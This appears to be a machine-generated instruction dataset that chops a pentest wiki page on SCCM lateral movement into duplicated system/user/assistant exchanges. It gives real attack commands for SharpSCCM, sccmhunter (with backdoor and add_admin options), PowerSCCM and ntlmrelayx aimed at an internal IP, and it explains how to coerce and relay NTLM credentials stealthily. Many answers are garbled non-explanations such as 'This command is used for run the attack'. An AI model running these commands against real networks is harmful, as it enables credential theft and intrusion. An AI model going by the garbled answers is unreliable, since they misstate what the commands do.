=== UNIX-like

From UNIX-like systems, sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"
`

Then, the help command can be typed in the opened shell to view all the CMPivot commands handled by sccmhunter.

`
() C:\ >> help

Documented commands (use 'help -v' for verbose/'help ' for details):

Database Commands
=================
get_collection get_device get_lastlogon get_puser get_user

Interface Commands
==================
exit interact

PostEx Commands
===============
add_admin backdoor backup delete_admin restore script

Situational Awareness Commands
==============================
administrators console_users ipconfig osinfo sessions
cat disk list_disk ps shares
cd environment ls services software
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

Step 1: retrieve the ID of the resource to enumerate (a computer or a computer collection)

`powershell
SharpSCCM.exe get resource-id -d "COMPUTER"
`

---
Step 2: execute administrative tasks with CMPivot requests

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do AdminService API - Practice

Response:
::: tabs

=== UNIX-like

From UNIX-like systems, sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"
`

Then, the help command can be typed in the opened shell to view all the CMPivot commands handled by sccmhunter.

`
() C:\ >> help

Documented commands (use 'help -v' for verbose/'help ' for details):

Database Commands
=================
get_collection get_device get_lastlogon get_puser get_user

Interface Commands
==================
exit interact

PostEx Commands
===============
add_admin backdoor backup delete_admin restore script

Situational Awareness Commands
==============================
administrators console_users ipconfig osinfo sessions
cat disk list_disk ps shares
cd environment ls services software
`

=== Windows

From Windows systems, SharpSCCM (C#) can be used for this purpose.

Step 1: retrieve the ID of the resource to enumerate (a computer or a computer collection)

`powershell
SharpSCCM.exe get resource-id -d "COMPUTER"
`

---
Step 2: execute administrative tasks with CMPivot requests

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the sccmhunter.py syntax for adminservice api - practice?

[Assistant] sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the sccmhunter.py syntax for adminservice api - practice?

Response: sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out AdminService API - Practice during a pentest?

[Assistant] sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out AdminService API - Practice during a pentest?

Response: sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"`?

[Assistant] This command is used for adminservice api - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "site_server_IP"`?

Response: This command is used for adminservice api - practice. Practice


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute AdminService API - Practice?

[Assistant]
() C:\ >> help

Documented commands (use 'help -v' for verbose/'help ' for details):

Database Commands
=================
get_collection get_device get_lastlogon get_puser get_user

Interface Commands
==================
exit interact

PostEx Commands
===============
add_admin backdoor backup delete_admin restore script

Situational Awareness Commands
==============================
administrators console_users ipconfig osinfo sessions
cat disk list_disk ps shares
cd environment ls services software

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute AdminService API - Practice?

Response:
() C:\ >> help

Documented commands (use 'help -v' for verbose/'help ' for details):

Database Commands
=================
get_collection get_device get_lastlogon get_puser get_user

Interface Commands
==================
exit interact

PostEx Commands
===============
add_admin backdoor backup delete_admin restore script

Situational Awareness Commands
==============================
administrators console_users ipconfig osinfo sessions
cat disk list_disk ps shares
cd environment ls services software


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `() C:\ >> help`?

[Assistant] This command is used for adminservice api - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `() C:\ >> help`?

Response: This command is used for adminservice api - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the SharpSCCM.exe command to adminservice api - practice

[Assistant] SharpSCCM.exe get resource-id -d "COMPUTER"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the SharpSCCM.exe command to adminservice api - practice

Response: SharpSCCM.exe get resource-id -d "COMPUTER"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do AdminService API - Practice

[Assistant] SharpSCCM.exe get resource-id -d "COMPUTER"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: SharpSCCM.exe get resource-id -d "COMPUTER"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `SharpSCCM.exe get resource-id -d "COMPUTER"`?

[Assistant] This command is used for adminservice api - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `SharpSCCM.exe get resource-id -d "COMPUTER"`?

Response: This command is used for adminservice api - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Enumerate the local administrators

[Assistant] SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "Administrators" -j

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Enumerate the local administrators

Response: SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "Administrators" -j


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Enumerate the local administrators

[Assistant] SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "Administrators" -j

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Enumerate the local administrators

Response: SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "Administrators" -j


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Enumerate the installed softwares in the context of penetration testing

[Assistant]
SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "InstalledSoftware" -j
```

Instructions about how to write CMPivot queries are presented here.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Enumerate the installed softwares in the context of penetration testing

Response:
SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "InstalledSoftware" -j
```

Instructions about how to write CMPivot queries are presented here.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Enumerate the installed softwares?

[Assistant]
SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "InstalledSoftware" -j
```

Instructions about how to write CMPivot queries are presented here.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Enumerate the installed softwares?

Response:
SharpSCCM.exe invoke admin-service -r $RESOURCE_ID -q "InstalledSoftware" -j
```

Instructions about how to write CMPivot queries are presented here.

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Applications and scripts deployment - Theory

[Assistant]
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> For additional attack techniques and defense strategies related to application and script deployment in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - EXEC-1: App Deployment
> - EXEC-2: Script Deployment

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Applications and scripts deployment - Theory

Response:
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> For additional attack techniques and defense strategies related to application and script deployment in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - EXEC-1: App Deployment
> - EXEC-2: Script Deployment


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Applications and scripts deployment - Theory during a pentest?

[Assistant]
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> For additional attack techniques and defense strategies related to application and script deployment in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - EXEC-1: App Deployment
> - EXEC-2: Script Deployment

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Applications and scripts deployment - Theory during a pentest?

Response:
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> For additional attack techniques and defense strategies related to application and script deployment in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - EXEC-1: App Deployment
> - EXEC-2: Script Deployment


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Applications and scripts deployment - Practice

[Assistant]
::: tabs

=== SharpSCCM

References:

* https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867

Step 1: Confirm Access permissions

``powershell
SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
`

---
Step 2: Find target device

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Applications and scripts deployment - Practice

Response:
::: tabs

=== SharpSCCM

References:

* https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867

Step 1: Confirm Access permissions

``powershell
SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
`

---
Step 2: Find target device

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Applications and scripts deployment - Practice during a pentest?

[Assistant]
::: tabs

=== SharpSCCM

References:

* https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867

Step 1: Confirm Access permissions

``powershell
SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
`

---
Step 2: Find target device

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Applications and scripts deployment - Practice during a pentest?

Response:
::: tabs

=== SharpSCCM

References:

* https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867

Step 1: Confirm Access permissions

``powershell
SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
`

---
Step 2: Find target device

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the SharpSCCM.exe command to applications and scripts deployment - practice

[Assistant] SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the SharpSCCM.exe command to applications and scripts deployment - practice

Response: SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Applications and scripts deployment - Practice?

[Assistant] SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Applications and scripts deployment - Practice?

Response: SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames`?

[Assistant] This command is used for applications and scripts deployment - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames`?

Response: This command is used for applications and scripts deployment - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Applications and scripts deployment - CAUTION: This could be huge work?

[Assistant]
SharpSCCM.exe get devices -w "Active=1 and Client=1"
``

---
Step 3: Deploy Application to target device

In this final step you can choose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:

* Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
* To capture and relay NTLM credentials, the target device must support NTLM (very likely).
* The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Applications and scripts deployment - CAUTION: This could be huge work?

Response:
SharpSCCM.exe get devices -w "Active=1 and Client=1"
``

---
Step 3: Deploy Application to target device

In this final step you can choose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:

* Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
* To capture and relay NTLM credentials, the target device must support NTLM (very likely).
* The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Applications and scripts deployment - CAUTION: This could be huge?

[Assistant]
SharpSCCM.exe get devices -w "Active=1 and Client=1"
``

---
Step 3: Deploy Application to target device

In this final step you can choose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:

* Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
* To capture and relay NTLM credentials, the target device must support NTLM (very likely).
* The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Applications and scripts deployment - CAUTION: This could be huge?

Response:
SharpSCCM.exe get devices -w "Active=1 and Client=1"
``

---
Step 3: Deploy Application to target device

In this final step you can choose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:

* Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
* To capture and relay NTLM credentials, the target device must support NTLM (very likely).
* The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Applications and scripts deployment - CAUTION: This could be huge

[Assistant]
---
**Step 3**: Deploy Application to target device

In this final step you can choose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:

* Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
* To capture and relay NTLM credentials, the target device must support NTLM (very likely).
* The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Applications and scripts deployment - CAUTION: This could be huge

Response:
---
**Step 3**: Deploy Application to target device

In this final step you can choose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:

* Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
* To capture and relay NTLM credentials, the target device must support NTLM (very likely).
* The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `---`?

[Assistant] This command is used for applications and scripts deployment - caution: this could be huge. CAUTION: This could be huge

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for applications and scripts deployment - caution: this could be huge. CAUTION: This could be huge


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Applications and scripts deployment - ntlmrelayx targeting 10.250.2.179

[Assistant] ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Applications and scripts deployment - ntlmrelayx targeting 10.250.2.179

Response: ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Applications and scripts deployment - ntlmrelayx targeting 10.250.2.179

[Assistant] ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Applications and scripts deployment - ntlmrelayx targeting 10.250.2.179

Response: ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Run the attack in the context of penetration testing

[Assistant]
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
``

Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with PowerSCCM (Powershell).

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Run the attack in the context of penetration testing

Response:
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
``

Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with PowerSCCM (Powershell).

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Run the attack

[Assistant]
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
``

Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with PowerSCCM (Powershell).

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Run the attack

Response:
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
``

Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with PowerSCCM (Powershell).

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the Note command to run the attack

[Assistant]
Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with [PowerSCCM](https://github.com/PowerShellMafia/PowerSCCM) (Powershell).

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the Note command to run the attack

Response:
Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with [PowerSCCM](https://github.com/PowerShellMafia/PowerSCCM) (Powershell).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Run the attack?

[Assistant]
Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with [PowerSCCM](https://github.com/PowerShellMafia/PowerSCCM) (Powershell).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Note that the incoming authentication requests might take a while (couple minutes) to roll in...

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Trigger_Deployment.png>)

![](<../assets/SCCM_Lateral_Movement_Execution_Step3_Capture_Authentication.png>)

=== PowerSCCM

With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with [PowerSCCM](https://github.com/PowerShellMafia/PowerSCCM) (Powershell).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Note that the incoming authentication requests might take a while (couple minutes) to roll in...`?

[Assistant] This command is used for run the attack. Run the attack

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Note that the incoming authentication requests might take a while (couple minutes) to roll in...`?

Response: This command is used for run the attack. Run the attack


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Create a SCCM Session via WMI with the Site Code

[Assistant]
Find-SccmSiteCode -ComputerName SCCMServer
New-SccmSession -ComputerName SCCMServer -SiteCode $SITE_CODE -ConnectionType WMI

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Create a SCCM Session via WMI with the Site Code

Response:
Find-SccmSiteCode -ComputerName SCCMServer
New-SccmSession -ComputerName SCCMServer -SiteCode $SITE_CODE -ConnectionType WMI


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Create a SCCM Session via WMI with the Site Code

[Assistant]
Find-SccmSiteCode -ComputerName SCCMServer
New-SccmSession -ComputerName SCCMServer -SiteCode $SITE_CODE -ConnectionType WMI

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Create a SCCM Session via WMI with the Site Code

Response:
Find-SccmSiteCode -ComputerName SCCMServer
New-SccmSession -ComputerName SCCMServer -SiteCode $SITE_CODE -ConnectionType WMI


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Create a computer collection?

[Assistant] Get-SccmSession | New-SccmCollection -CollectionName "collection" -CollectionType "Device"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Create a computer collection?

Response: Get-SccmSession | New-SccmCollection -CollectionName "collection" -CollectionType "Device"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Create a computer collection

[Assistant] Get-SccmSession | New-SccmCollection -CollectionName "collection" -CollectionType "Device"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Create a computer collection

Response: Get-SccmSession | New-SccmCollection -CollectionName "collection" -CollectionType "Device"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Add computers to the collection work?

[Assistant] Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "target" -CollectionName "collection"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Add computers to the collection work?

Response: Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "target" -CollectionName "collection"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Add computers to the collection?

[Assistant] Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "target" -CollectionName "collection"

